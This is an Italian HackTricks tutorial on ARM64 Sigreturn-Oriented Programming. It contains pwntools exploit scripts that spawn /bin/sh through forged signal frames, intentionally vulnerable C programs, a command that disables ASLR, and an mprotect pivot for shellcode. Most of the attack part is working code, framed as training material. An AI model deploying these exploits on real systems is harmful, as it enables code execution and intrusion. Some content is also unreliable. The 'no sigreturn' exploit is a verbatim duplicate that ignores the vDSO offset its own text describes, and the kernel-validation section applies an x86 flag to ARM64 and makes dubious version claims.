> [!TIP]

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Esempio di Pwntools

Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario legge nello stack e poi chiama sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

esempio di bof

Codice

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Compilalo con:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

L'exploit sfrutta il bof per tornare alla chiamata a sigreturn e preparare lo stack per chiamare execve con un puntatore a /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

esempio di bof senza sigreturn

Codice

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

Nella sezione vdso è possibile trovare una chiamata a sigreturn nell'offset 0x7b0:

Pertanto, se trapelato, è possibile utilizzare questo indirizzo per accedere a un sigreturn se il binario non lo sta caricando:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Per ulteriori informazioni su vdso controlla:

Ret2vDSO

E per bypassare l'indirizzo di /bin/sh potresti creare diverse variabili d'ambiente che puntano ad esso, per ulteriori informazioni:

ASLR


Trovare gadget sigreturn automaticamente (2023-2025)

Sulle distribuzioni moderne il trampolino sigreturn è ancora esportato dalla pagina vDSO ma l'offset esatto può variare tra le versioni del kernel e i flag di build come BTI (+branch-protection) o PAC. Automatizzare la sua scoperta previene la codifica rigida degli offset:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Entrambi gli strumenti comprendono le codifiche AArch64 e elencheranno le sequenze candidate mov x8, 0x8b ; svc #0 che possono essere utilizzate come gadget SROP.

Nota: Quando i binari sono compilati con BTI, la prima istruzione di ogni obiettivo di branch indiretto valido è bti c. I trampolini sigreturn posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.

Collegare SROP con ROP (pivot tramite mprotect)

rt_sigreturn ci consente di controllare tutti i registri a uso generale e pstate. Un modello comune su x86 è: 1) utilizzare SROP per chiamare mprotect, 2) pivotare a un nuovo stack eseguibile contenente shell-code. La stessa idea funziona su ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Dopo aver inviato il frame, puoi inviare un secondo stadio contenente codice shell raw a 0x400000+0x100. Poiché AArch64 utilizza l'indirizzamento PC-relative, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.

Validazione del kernel, PAC e Shadow-Stacks

Linux 5.16 ha introdotto una validazione più rigorosa dei frame dei segnali nello spazio utente (commit 36f5a6c73096). Il kernel ora controlla:

  • uc_flags deve contenere UC_FP_XSTATE quando extra_context è presente.
  • La parola riservata in struct rt_sigframe deve essere zero.
  • Ogni puntatore nel record extra_context è allineato e punta all'interno dello spazio degli indirizzi utente.

pwntools>=4.10 crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero riservato e di omettere il record SVE a meno che tu non ne abbia davvero bisogno—altrimenti rt_sigreturn restituirà SIGSEGV invece di tornare.

A partire da Android 14 e Fedora 38, il userland è compilato con PAC (Pointer Authentication) e BTI abilitati per impostazione predefinita (-mbranch-protection=standard). SROP stesso non è influenzato perché il kernel sovrascrive PC direttamente dal frame creato, bypassando l'LR autenticato salvato nello stack; tuttavia, qualsiasi catena ROP successiva che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.

Gli Shadow-Call-Stacks introdotti in ARMv8.9 (e già abilitati su ChromeOS 1.27+) sono una mitigazione a livello di compilatore e non interferiscono con SROP perché non vengono eseguite istruzioni di ritorno—il flusso di controllo è trasferito dal kernel.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks